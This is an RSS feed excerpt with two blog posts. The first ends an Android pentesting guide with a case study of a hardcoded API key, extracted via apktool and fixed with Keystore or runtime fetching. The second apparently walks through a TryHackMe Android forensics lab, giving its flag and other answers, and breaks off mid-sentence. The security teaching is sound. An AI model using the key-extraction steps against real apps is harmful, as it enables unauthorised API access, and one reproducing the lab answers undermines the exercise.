objective, and provide all the necessary information for a development team to reproduce and fix the issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/126/1*OhA8JutCg0OiLD8sKt52IQ.gif" /></figure><h4>A. The Anatomy of an Expert-Level Report</h4><p>A professional vulnerability report should follow a consistent structure, providing a detailed account of each finding. The core components of a single vulnerability entry are as follows:</p><ul><li><strong>Description:</strong> A clear, concise, and non-technical explanation of the vulnerability and its potential impact. It should state what the flaw is and why it matters from a security perspective.</li><li><strong>Severity:</strong> A standardized rating (e.g., Critical, High, Medium, Low, Informational) based on the vulnerability’s potential impact and exploitability. This helps the client prioritize their remediation efforts.</li><li><strong>Affected Asset:</strong> Specifies the vulnerable component, such as the package name (com.example.app), the specific file (strings.xml), or a vulnerable API endpoint.</li><li><strong>Notes:</strong> Provides additional technical context, such as the exact line number in the code where the vulnerability was found or a relevant Common Weakness Enumeration (CWE) identifier.</li><li><strong>Steps to Reproduce:</strong> A step-by-step, repeatable guide to demonstrate the flaw. This section should include the tools used and the exact commands to replicate the vulnerability. This is essential for developers to verify the finding.</li><li><strong>Remediation:</strong> Actionable, specific recommendations for developers to fix the issue. This should go beyond simply saying “fix the bug” and provide concrete technical advice, such as using a specific secure storage mechanism or implementing a particular security protocol.</li></ul><h4>B. Documenting a Hardcoded API Key Vulnerability</h4><p>The following example demonstrates how a hardcoded private API key vulnerability, discovered during static analysis and confirmed with dynamic analysis, would be professionally documented in a vulnerability report.</p><h3>The Dangers of Hardcoded API Keys: A Case Study</h3><p>Imagine your front door key was not hidden under the mat, but was instead taped to the outside of your house for all to see. That’s essentially what happens when a developer leaves a <strong>hardcoded private API key</strong> in a mobile application’s public resource file. This seemingly small oversight can have massive security implications, putting an application and its users at critical risk.</p><p>This post breaks down a real-world vulnerability report to show you exactly what this threat looks like, how an attacker can exploit it, and what you can do to prevent it.</p><h3>The Vulnerability: A Key in Plain Sight</h3><p>In this case, the application com.example.insecureapp contained a private API key stored in the res/values/strings.xml file.</p><p>This is a critical vulnerability because resource files are publicly accessible. An attacker doesn’t need to break into a server or find a zero-day exploit. They can simply acquire the application’s APK file, decompile it using a common static analysis tool like <strong>APKTool</strong>, and browse through the files. The key is right there, in plain text.</p><h3>The Critical Impact</h3><p>A hardcoded API key is a direct invitation for unauthorized access. With this key, an attacker can <strong>authenticate directly with the backend API</strong>, completely bypassing all client-side security controls. This allows them to:</p><ul><li>Access sensitive functionality.</li><li>Manipulate or steal data.</li><li>Bypass authentication mechanisms.</li></ul><p>This specific vulnerability was so severe because the key provided access to the <strong>production environment</strong> and wasn’t tied to a specific user or session. This turns a single user’s compromise into a total system compromise. The vulnerability is classified as CWE-798, the “Use of Hard-Coded Credentials,” which is a well-known and dangerous flaw.</p><h3>How an Attacker Reproduces the Attack</h3><p>The attack is surprisingly simple and requires no special hacking tools. An attacker could follow these steps:</p><ol><li><strong>Acquire the App:</strong> They get the application’s APK file from an app store or a repository.</li><li><strong>Decompile the Resources:</strong> They use a command-line tool to decompile the application’s resources.</li></ol><pre>apktool d com.example.insecureapp.apk</pre><p>3. <strong>Find the Key:</strong> They navigate to the decompiled directory and open the res/values/strings.xml file. The API key is immediately visible.</p><pre>&lt;string name=&quot;api_key&quot;&gt;12345678-ABCD-EFGH-IJKL-1234567890AB&lt;/string&gt;</pre><p><strong>4. Confirm the Exploitation:</strong> With the key in hand, they can then use a tool like Burp Suite or curl to send an authenticated request to a sensitive API endpoint. A successful response confirms that the key is valid and the vulnerability is active.</p><h4>The Secure Solution: Prevention is Key</h4><p>Preventing this vulnerability is much easier than dealing with its aftermath. Here’s how to properly handle API keys and other credentials:</p><ol><li><strong>Stop Hardcoding:</strong> The first and most important step is to remove the API key from all hardcoded locations within the application’s codebase and resource files. Do not store sensitive credentials in plaintext or in any publicly accessible file.</li><li><strong>Use a Secure Storage Provider:</strong> For credentials that must be stored locally, use a secure solution like the <strong>Android Keystore</strong> provider. This allows the app to store its own credentials in a hardware-backed secure location that only the app itself can access, making it virtually impossible for an attacker to extract them.</li><li><strong>Fetch Keys at Runtime:</strong> The most robust and recommended solution is to avoid storing the key on the device entirely. Instead, have the application fetch the key at runtime from a secure, authenticated backend endpoint. This ensures the key is never at rest on the user’s device, eliminating the risk of reverse engineering.</li></ol><p>By following these best practices, you can close a critical security gap and protect your application’s integrity and your users’ data.</p><h3>Conclusion</h3><p>The definitive guide to Android application penetration testing is a journey that moves from understanding foundational concepts to executing sophisticated, hands-on techniques. The report establishes that a successful assessment must begin with a deep knowledge of the Android architecture and security model. It highlights the dual nature of rooting as both a crucial tool for the pentester and a significant risk for the developer, creating a continuous conflict that defines the mobile security landscape.</p><p>The analysis presented demonstrates the distinct yet complementary roles of static and dynamic analysis. Static analysis, utilizing tools like APKTool and Jadx-GUI, provides an essential reconnaissance phase for uncovering structural flaws and hardcoded secrets. Dynamic analysis, powered by tools like Frida, Objection, and Burp Suite, is then used to confirm these findings at runtime and discover vulnerabilities that only manifest during execution. The exploration of the OWASP Mobile Top 10 vulnerabilities illustrates that the modern threat landscape has evolved beyond simple bugs to encompass systemic issues like insecure supply chains and poor credential management.</p><p>Ultimately, the goal of this process is not simply to find bugs but to produce a professional, actionable report that helps a client understand and mitigate their risk. The seemingly minor flaw of a hardcoded API key was used as a case study to show how a single oversight can cascade into a critical, system-wide vulnerability. By adopting a structured methodology that combines foundational knowledge, comprehensive tooling, and expert reporting, security professionals can effectively protect mobile applications and their users from an increasingly sophisticated array of threats.</p><p><strong>Thank you for taking the time to read my blog!</strong><br> I hope you enjoyed it and found some new insights or ideas along the way. It means a lot to have you here, and I’m grateful for your support. Stay curious and keep learning! 😊</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*XDyOJESdFJKVRlZ_xhoW-g.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78679afe56bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Analysis : TryHackMe]]></title>
            <link>https://medium.com/@unKnOwn37/android-analysis-tryhackme-a840db8c9ff6?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a840db8c9ff6</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[android-forensics]]></category>
            <category><![CDATA[recovery]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Thu, 22 May 2025 16:28:41 GMT</pubDate>
            <atom:updated>2025-05-22T16:28:41.464Z</atom:updated>
            <content:encoded><![CDATA[<h3>Android Analysis : TryHackMe</h3><p>Dive deep into the Android OS and learn how to examine from a forensics point of view.</p><h3>Task 1 : Introduction</h3><p>Android devices, just like iOS, are used by millions of people worldwide and have become key devices that humans interact with more often than PCs or laptops. This makes them an essential part of people’s digital lives, with their information frequently being deeply intertwined with online services and apps. From a forensic point of view, these mobile devices hold immense amounts of evidence that can be used in various incidents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*pEUqmkT2_3KhcI7P.png" /></figure><p>In this room, we will focus on Android devices and understand the importance of learning how to perform forensic investigations.</p><h3>Scenario</h3><p>In this room, we will work on a scenario where employee Hazem is suspected of misusing his authority to sell company secrets outside the company. The company thinks he has sensitive documents on his Android device and may have transferred them to someone outside the company. The forensics team confiscated and captured the forensic image of his device.</p><p>Your task is to examine the artifacts and identify the key evidence.</p><h3>Learning Objectives</h3><p>In this room, we will explore the following learning objectives:</p><ul><li>Understand the Android architecture.</li><li>Android filesystem and key components.</li><li>Learn about the key artifacts.</li><li>How and where to locate the artifacts.</li><li>How to examine the artifacts.</li></ul><h3>Prerequisites</h3><p>As this room is based on Android analysis, it is expected that users are familiar with the Linux OS and have covered the following rooms and modules:</p><ul><li><a href="https://tryhackme.com/room/introductoryroomdfirmodule">DFIR: An Introduction</a></li><li><a href="https://tryhackme.com/module/linux-fundamentals">Linux Fundamentals Module</a></li><li><a href="https://tryhackme.com/room/iosanalysis">iOS Analysis</a></li></ul><p>Let’s begin our learning journey.</p><h3><strong>Task 2 : Android Architecture — An Overview</strong></h3><p>Before diving into the details of Android analysis, it’s important to familiarize yourself with the Android architecture and how its components are layered.</p><h4>Android Architecture</h4><p>Android’s architecture is layered and modular, making it versatile and complex from a forensics standpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lu3GyXtYe24xAU2Z21u4Eg.png" /></figure><p>It consists of the following layers:</p><p><strong>Linux Kernel Layer:</strong></p><p>The Linux kernel is the foundation of Android’s architecture, providing core operating system functionalities. It acts as the abstraction layer between the hardware and the software stack.</p><ul><li>Core system services</li><li>Process management</li><li>Memory management</li><li>Device drivers</li></ul><p><strong>Native Libraries</strong></p><p>The native libraries provide core functionality to the Android system and applications.</p><ul><li>System libraries</li><li>Media frameworks</li><li>SQLite database engine</li><li>WebKit browser engine</li></ul><p><strong>Application Framework Layer</strong></p><p>The application framework layer provides APIs for higher-level services like location, telephony, and resource management. It enables developers to manage apps and components like Activities, Services, and Content Providers.</p><ul><li>APIs for application development</li><li>Resource management</li><li>Component interaction</li><li>Service handling</li></ul><p><strong>Application Layer</strong></p><p>This is the topmost layer in the Android architecture. It includes system and user-installed apps, the primary source of user data in a forensic investigation.</p><ul><li>User applications</li><li>System applications</li><li>Third-party apps</li></ul><h4>Android Filesystem</h4><p>Android uses a Linux-based filesystem that is layered and partitioned to manage data securely and efficiently. The structure is customized based on the device’s hardware and firmware. Due to the filesystem structure, the filesystem of every device plays a crucial role in digital forensics, directly influencing how data is stored, accessed, and recovered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dYil-D0gCDwZbfqR.png" /></figure><h3>FileSystem Partitions</h3><p>In the Android OS, the filesystem is in the following structure:</p><p>Android Filesystem Structure</p><pre>├── system/                  → Android OS system files (read-only in user mode)<br>│   ├── bin/                 → System binaries<br>│   ├── lib/                 → Shared libraries<br>│   └── framework/           → Java framework .jar files<br>│<br>├── data/                    → Main user data partition<br>│   ├── app/                 → Installed APKs<br>│   ├── data/                → App private data<br>│   ├── misc/                → Misc system info (e.g., WiFi configs)<br>│   ├── media/               → Encrypted storage mount point<br>│   └── system/              → User accounts, settings<br>│<br>├── sdcard/ (or /storage/emulated/0) → User files, photos, downloads<br>│<br>├── vendor/                 → OEM-specific binaries/libraries<br>│<br>└── dev/, proc/, sys/       → Kernel and device interfaces (like Linux)</pre><p><strong>Examining the Android Image</strong></p><p>Now that we understand how the files within an Android filesystem are structured, let’s examine the Android image provided for analysis using FTK Imager.</p><p>To view the files and content captured in the Android image, we will load the Suspicious_device.ad1 image placed in the Evidence folder on the Desktop, as shown below:</p><p>Click on File -&gt; Add Evidence Item , as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/0*R66mVbBKBIHFRjnb.png" /></figure><p>Select the Image File option:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/0*Jb1nlV6YkvSNwDDH.png" /></figure><p>Select the Suspicious_device.ad1 file placed in the /Desktop/Evidence directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D9UYZefaL6htk6Ej.png" /></figure><p>Now that we have loaded the evidence image of the suspected device, let’s explore and navigate through the files and directories to get an idea of the artifacts collected, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CUmkwXUMKIptPVJF.gif" /></figure><p>We will dive into the key artifacts and their location in the next task.</p><p>Answer the questions below:</p><p>Navigate the directories in FTK Imager. Examine the build.prop file found in the system folder. What is the device’s serial number?</p><p>ABC123456789</p><h3><strong>Task 3 : Android — Forensics Artifacts</strong></h3><h4>Forensics Artifacts</h4><p>Before we even begin any investigation, we need to know what artifacts are important from a forensics point of view and where they are located within the Android device. Once we understand, we can handpick them, unbox them, and extract the information that we find interesting about the case we are investigating. Let’s explore some key artifacts in an Android device, their forensic value, and where they are located.</p><h4>SMS/MMS &amp; Call Logs</h4><p>Communications are important in any forensics case, and SMS / Call logs can be crucial evidence. On an Android device, they can be found in a database that stores the content and metadata of messages sent and received through the device’s messaging application.</p><p><strong>Location</strong></p><ul><li>/data/data/com.android.providers.telephony/databases/mmssms.db (for SMS/MMS)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*BQC8P91jmdj7DHmj.png" /></figure><ul><li>/data/data/com.android.providers.contacts/databases/calllog.db (for Call Logs)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5wGqdkSqDEETi2uG.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Recovers complete text message content</li><li>Provides sender/receiver numbers and timestamps</li><li>Supports conversation reconstruction and timeline validation</li><li>Useful for mapping user communication patterns</li></ul><h4>Contacts &amp; Address Book</h4><p>Contact details on an Android device can also be crucial evidence in any forensic case. This database contains all contacts saved on the device or synced through accounts.</p><p><strong>Location</strong></p><ul><li>/data/data/com.android.providers.contacts/databases/contacts2.db</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/0*udEvuXIHFNJjvyzU.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Identifies social connections and associates</li><li>Provides potential leads through phone numbers and emails</li><li>Supports triangulation with call logs and messages</li></ul><h4>Browser History</h4><p>These databases record detailed web activity, including visited URLs, page titles, visit timestamps, and search terms the user enters. Depending on the browser, they may store cookies and autofill form data. This information helps identify the user’s online interests and behavioral patterns.</p><p><strong>Location</strong></p><ul><li><strong>Chrome:</strong></li><li>/data/data/com.android.chrome/app_chrome/Default/History</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*rVu-U28Hv2Vm1Nuk.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Reveals internet usage habits and search interests</li><li>Can indicate planning or intent (e.g., searches about crimes or escape routes)</li><li>May expose accessed web services like cloud storage or forums</li></ul><h4>Location Data</h4><p>Devices often record detailed GPS and network-based location data through Google Play Services. These databases track location visits, movements, place labels, and timestamps, usually even when apps are not actively used.</p><p><strong>Location</strong></p><ul><li>/data/data/com.google.android.gms/databases/ (multiple files)</li><li>location.db, networklocations.db, or com.google.android.location</li></ul><p><strong>Forensics Value</strong></p><ul><li>Maps user movements and frequented places</li><li>Helps confirm or refute the presence at a crime scene</li><li>Crucial in reconstructing past activities and routes</li></ul><h4>Photos, Videos, &amp; Metadata</h4><p>Photos and videos taken with the device often store metadata like timestamps, device model, and geolocation in EXIF headers. Additionally, media folder structures can indicate third-party sharing apps or camera sources.</p><p><strong>Location</strong></p><ul><li>/sdcard/DCIM/</li><li>/sdcard/Pictures/</li><li>/sdcard/WhatsApp/Media/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*6_o2f8clwal9Vw_a.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Provides visual timelines</li><li>Can include GPS stamps and timestamps</li><li>Sometimes, it shows deleted images in thumbnails or previews</li></ul><h4>Instant Messaging Apps</h4><p>The third-party messaging apps store messages, media, call logs, and user metadata in private app directories, usually in SQLite databases or encrypted storage. The artifacts may include chat logs, group memberships, timestamps, and shared file references, even after deletion.</p><p><strong>Location</strong></p><ul><li>/data/data/com.whatsapp/databases/msgstore.db</li><li>/sdcard/WhatsApp/Media/ (for images, voice notes, etc.)</li></ul><p><strong>Forensics Value</strong></p><ul><li>Direct evidence of conversations</li><li>Highly relevant in criminal or civil investigations</li><li>Media attachments often serve as proof in any forensic case</li><li>Exposes communication across encrypted and non-encrypted channels</li></ul><h4>Application Data</h4><p><strong>Explanation</strong></p><p>Beyond preferences and databases, many apps create custom logs, usage traces, and artifact-rich directories containing JSON, XML, and plain-text files. These files often include crash logs, analytics pings, locally cached content, and background job histories.</p><p><strong>Location</strong></p><ul><li>/data/data/[app.package.name]/</li><li>For example: /data/data/com.instagram.android/ or /data/data/com.snapchat.android/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*ta1czbnlxuWehi2V.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Can uncover app usage patterns</li><li>Exposes background activity not visible in UI</li><li>Hidden data like cached credentials, logs, or usage stats</li><li>Examining a suspicious app</li></ul><h4>User Accounts &amp; Google Services</h4><p>Android stores information about accounts synced with the device, including Google, social media, email, and app-specific logins. Account data includes login timestamps, service tokens, sync settings, and sometimes unhashed usernames or emails.</p><p><strong>Location</strong></p><ul><li>/data/system/users/0/accounts.db</li><li>/data/data/com.google.android.gms/databases</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*W_Aq_847uvlnMTHC.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>Identifies user identities and linked online services</li><li>Maps services used (e.g., Gmail, Dropbox, and Instagram)</li><li>Reveals syncing frequency and potential data exfiltration vectors</li><li>Supports correlation with web or cloud-based investigations</li></ul><h4>Installed Applications Information</h4><p>This artifact contains metadata about all applications installed on the device, including app names, package IDs, version numbers, install times, and permission settings. It includes system and user-installed apps, offering insight into the device’s overall software environment.</p><p><strong>Location</strong></p><ul><li>/data/system/packages.xml</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jTP8lSAJOS6kuiVC.png" /></figure><p><strong>Forensics Value</strong></p><ul><li>App usage over time</li><li>Can support a timeline or behavioral pattern</li><li>Evidence of app installs/uninstalls</li><li>Lists dangerous permissions that could relate to surveillance or exploitation.</li></ul><p>Answer the questions below:</p><p>Examine the artifact containing information about the device’s installed apps. What is the last package installed on this device?</p><p>com.sneakcam.capture</p><h3>Task 4 : Tools for the Trade</h3><p>We all know that digital devices like smartphones know and contain more information about us than anything else. From our location and messages to photos, browser history, and even how long we stare at an application, all the information is stored in these devices. Whether a device is found in a criminal case or confiscated from a disgruntled employee suspected of stealing company secrets.</p><p>So when investigators or digital forensic analysts try to investigate an Android device, whether for a legal case, breach investigation, or insider threat, they need the right tools to extract information from the device without compromising the evidence or its integrity.</p><h3>Getting the Data Off the Phone (Acquisition Tools)</h3><p>Before we analyze the device, we need access to the data. Android devices have layers of security like screen locks, encryption, and app sandboxing. Depending on the situation, we might go for different levels of acquisition:</p><ul><li><strong>Logical:</strong> Like using a backup to get user-level data.</li><li><strong>File system:</strong> Gives access to folders and system files. It allows deeper access than logical acquisition, including app directories and internal storage, which is useful for examining app data and configurations.</li><li><strong>Physical:</strong> A bit-by-bit copy of the device’s entire memory, including deleted data, unallocated space, and system areas inaccessible through higher-level acquisitions.</li></ul><h3>Tools for the Trade</h3><p>The following is a list of tools that can be used in different phases of Android analysis, whether for data acquisition, memory acquisition, or analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3tjoQW5ZQirJpqZnzmdag.png" /></figure><p>Now that we understand the tools available for each stage of the forensic process, it’s time to put that knowledge into action. In the next task, we’ll use these tools to explore the Android filesystem.</p><h3><strong>Task 5 : Unboxing the Artifacts</strong></h3><h3>Unboxing the Artifacts</h3><p>Now that we have understood what key artifacts are and where they are, let’s locate them and unbox them to find the key information they contain. In the Evidence provided to us in the Desktop\Evidence\suspicious_device folder as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/0*KBxC-2BLbFYYcpwW.png" /></figure><h3>SMS / MMS</h3><p>SMS and MMS databases store text and multimedia messages through the default messaging app. These artifacts provide crucial evidence of communication patterns and message contents, which can reveal the communication on the suspect device.</p><blockquote>Let’s examine the mmssms file located at the C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\data\com.android.providers.telephony\databases, as shown below:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/0*wTxp4tuD_zd-CNba.png" /></figure><p>Open the terminal, and run the following command to open the mmssms.db in sqlite3, as shown below:</p><blockquote><strong>Command: </strong>sqlite3 mmssms.db</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1W-idUItZ6HECDg2.png" /></figure><p>Once we have loaded the database file into sqlite3, we can use the command .tables to show the list of tables in the database, as shown above.</p><p>Now, we can retrieve the content of the table SMS by running the SQL query select * from SMS; as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ox8c5XbkDyhFmyZX.png" /></figure><p>We can also use .mode ? options to change the output format. Here we have multiple options such as ascii, box, column, csv, html, insert, json, line, list, markdown, qbox, quote, table, tabs, and tcl to select from. Here we have used .mode line to display each column in a separate line, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UjsgIGpIqY2txoiK.png" /></figure><p>Let’s use another display option .mode box to get the output in a visually neat table format, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yegmoHlhSFXrRnoD.png" /></figure><h3>Call Logs</h3><p>Call logs act like a digital footprint of someone’s phone conversations. They show who was contacted, when, and how often, offering valuable insights into connections, routines, or sudden spikes in suspicious activity. Let’s now examine the call logs in the C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\data\com.android.providers.contacts\databases\, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/0*HGIsMq3AXr3h7WoU.png" /></figure><p>Open the terminal and run the following command to open the calllog.db into the sqlite3 tool:</p><p><strong>Command:</strong> sqlite3 calllog.db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U_cu3dQ2SCM5IjIu.png" /></figure><p><strong>Review the Tables</strong></p><p>Run the command .table to display the tables within the database. Once we have the table&#39;s name, we can create an SQL query to read the table&#39;s content. Using the command SELECT * from calls; as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_F_thPksCsJ9GGW2.png" /></figure><p>Now that we have retrieved it, let’s examine the suspect’s communication and see if we can find something suspicious.</p><h3>Contracts and Address Book</h3><p>This artifact holds structured information about saved contacts, including names, phone numbers, and emails, which can be critical information from a forensics point of view.</p><p>Let’s load the contacts2.db database located in C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\data\com.android.providers.contacts\databases\ using sqlite3 with the query<strong> </strong>sqlite3 contacts2.db, examine the contact details, a shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uNwMIAX3LqRpg_nH.png" /></figure><p>As shown above, we can run the .tables command to retrieve the tables found in the contacts2.db. Let&#39;s now run the query select * from data; to retrieve the contacts stored in the database, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ghcD4khKd1JtPDzz.png" /></figure><p>Now that we have retrieved the contact list, let’s examine it and see if we can find some suspicious contact details stored on the device.</p><h3>Browser History</h3><p>Browser history logs track visited websites, search terms, and access timestamps. They offer valuable insight into a user’s online behavior, research patterns, and intent, and sometimes even reveal incriminating searches or deleted history. In the captured evidence, we can only find data related to the Chrome browser, as shown below, which means that only the Chrome browser was installed on the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*OfSfWRBSy8nae_y5.png" /></figure><p>Let’s navigate to the location C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\data\com.android.chrome\app_chrome\Default. We will find the History.db file containing information about the browser activities, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*UqZDy0SjlIJUYR7W.png" /></figure><p>Let’s open the History.db file into the sqlite3, using the command sqlite3 History, and run .tables query to retrieve the tables present in the database, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h6zku4Tayq6ljKbe.png" /></figure><p>It looks like we have two tables found in the History.db file. Let’s run the query SELECT * from URLs; to retrieve the content stored in the URLs table, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FN1F-TXZgcLcvErq.png" /></figure><p>Now that we have retrieved the URLs’ content from the Chrome browser history database, we can examine and try to identify any suspicious URLs visited by the suspect that could reveal his intentions.</p><h3>Bluetooth Information</h3><p>Bluetooth connections may reveal information about the devices they have been connected to in the past. From a forensics perspective, we can examine the information and identify the device, which may lead back to the suspect or a suspect’s Bluetooth connection.</p><p>Go to the location C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\misc\bluedroid, as shown below. As the config file is in text format, we can open it and retrieve the information using the find command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*27MFiH5U8BTm4znn.png" /></figure><p>We can review the information about the Bluetooth connections and look for suspicious ones, which could lead us to the suspect’s suspicious activities.</p><h3>WIFI Information</h3><p>Wireless to Bluetooth connectivity information: It also stores information about the Wi-Fi adapter and the Wi-Fi history of the Wi-Fi devices it connected to in the past. These network connections can show us where someone has been, like visiting a home, workplace, or even a hidden location.</p><p>Let’s explore the Wi-Fi information in the configuration file in the location C:\Users\Administrator\Desktop\Evidence\suspicious_device\data\misc\wifi, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fC-JjOGXmiouaQYK.png" /></figure><p>We can now review the information about the WIFI connections and hunt for suspicious ones that could be connected to the suspect’s suspicious activities.</p><h4>Summary</h4><p>In this task, we explored only a handful of the artifacts, identified the locations, unboxed them individually, and examined the footprints of the suspect’s activities to find something suspicious. It is also important to note that reviewing the artifacts manually and separately can take a lot of time and affect our investigation when we only have a limited amount of time to conclude the investigation. In the next task, we will address this shortcoming in detail.</p><p>Answer the questions below:</p><p>What is the flag hidden inside SMS?</p><p>FLAG{MSG_HIDDEN_INTENT}</p><p>In the call logs, which number has the longest call duration?</p><p>+14155550011</p><p>What is the second-to-last suspicious contact name in the list?</p><p>Encrypted User</p><p>Most Chrome searches indicate that the user was looking for sites to upload data. What is the last URL found in the list for a similar purpose?</p><p><a href="https://easyupload.io/">https://easyupload.io</a></p><p>What is the name of the Bluetooth device found in the configuration?</p><p>Pixel_6_User</p><h3><strong>Task 6 : Triaging with ALEAPP</strong></h3><p>As already discussed, we have picked one artifact and parsed it to analyze, which can be tedious. We will use an open-source tool called <a href="https://github.com/abrignoni/ALEAPP">ALEAP</a> to speed up the analysis.</p><h4>ALEAPP for Android Analysis</h4><p>ALEAPP (Android Logs Events and Protobuf Parser) is a digital forensics tool designed to extract, parse, and present artifacts from Android devices. It provides a structured, human-readable report and supports various mobile artifacts.</p><p>Let’s explore the ALEAPP tool, which is placed on the Desktop, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i-0G3RShyH7SBLmf.png" /></figure><p>ALEAPP is an outstanding tool for parsing Android artifacts. It has a command-line version and a GUI-based version. Rather than manually browsing through directories and raw SQLite or protobuf files, ALEAPP automates the analysis process, making it invaluable for forensics investigations.</p><p>ALEAPP has both a command-line and a GUI version. Let’s explore the GUI version below:</p><h4>ALEAP GUI</h4><p>Open the terminal in the ALEAPP folder on the Desktop and run the following command to open the GUI version of ALEAPP, as shown below:</p><p><strong>Command:</strong> python aleappGUI.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IgUZWPLuqsjPxgBs.png" /></figure><ol><li>This tool takes the Android files in tar/zip/gz or a directory that contains the Android artifacts.</li><li>We provide the output directory so it can save the final report.</li><li>It uses regex to locate the artifacts, run plugins from a list of 30+, and parse and compile a comprehensive report.</li></ol><p>For this exercise, we will use the image suspicious_device.zip placed at the Desktop/Evidence folder, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*urxD0hfN13lDvx91.png" /></figure><p>Provide the evidence file, the destination path, and click on the Process button. As shown below, we can either select some plugins or click Select All to run all plugins against the artifacts at once. For convenience, an output folder is created on the Desktop, which we can use to store the final analysis report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AMjKR9P0X5HefR8X.gif" /></figure><p>The tool will retrieve the artifacts from the provided evidence using regex, run relevant plugins on those artifacts, and compile a comprehensive report. Once the analysis is done, click on Open Report and Close, as shown above.</p><h3>Examining the Analysis Report</h3><p>Now that we have retrieved a comprehensive report, let’s explore and identify the footprints of the suspicious activities on the suspect’s device. The report divides the artifacts analysis separately and can be retrieved by selecting the corresponding artifact in the left panel of the report, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*es2GD-5ZJbwyeyGd.png" /></figure><p>Let’s examine the evidence report one by one.</p><p><strong>Call Logs</strong></p><p>Click on the Call Logs button in the left panel, and explore the output. Can you find any suspicious call logs?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nUjnV4Fdllux-PMM.png" /></figure><p><strong>Installed Packages</strong></p><p>Knowing what packages/apps were installed on the device can be critical information from a forensics point of view. We can look at the list and hunt for the suspicious package, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KdE5Js1ud8ciFzUH.png" /></figure><p>Explore the output and identify what packages were installed on the device and see if you can find some suspicious packages that could reveal the intentions of the suspect.</p><p><strong>SMS / MMS Messages</strong></p><p>We can also examine the SMS and MMS data exchanged in a more structured way, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CAPcTiRO8OAOemlT.png" /></figure><p><strong>Chrome Data</strong></p><p>Examining internet search data can be a very important forensics artifact and reveal some crucial footprints of the suspect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w6nIVNowVvEnhNn6.png" /></figure><p>The searches indicate the intentions of the suspect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3UjGRknXVKhf13vy.png" /></figure><p><strong>Download History</strong></p><p>As we can see, the Android device stores metadata about the downloads in the downloads.db file located at \data\data\com.android.providers.downloads\databases\, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MjRUbXsetdgZ4HaX.png" /></figure><h4>Summary</h4><p>When we manually picked and extracted the artifacts to understand the content, we missed a few artifacts that ALEAPP had automatically parsed for us. It also saved us a 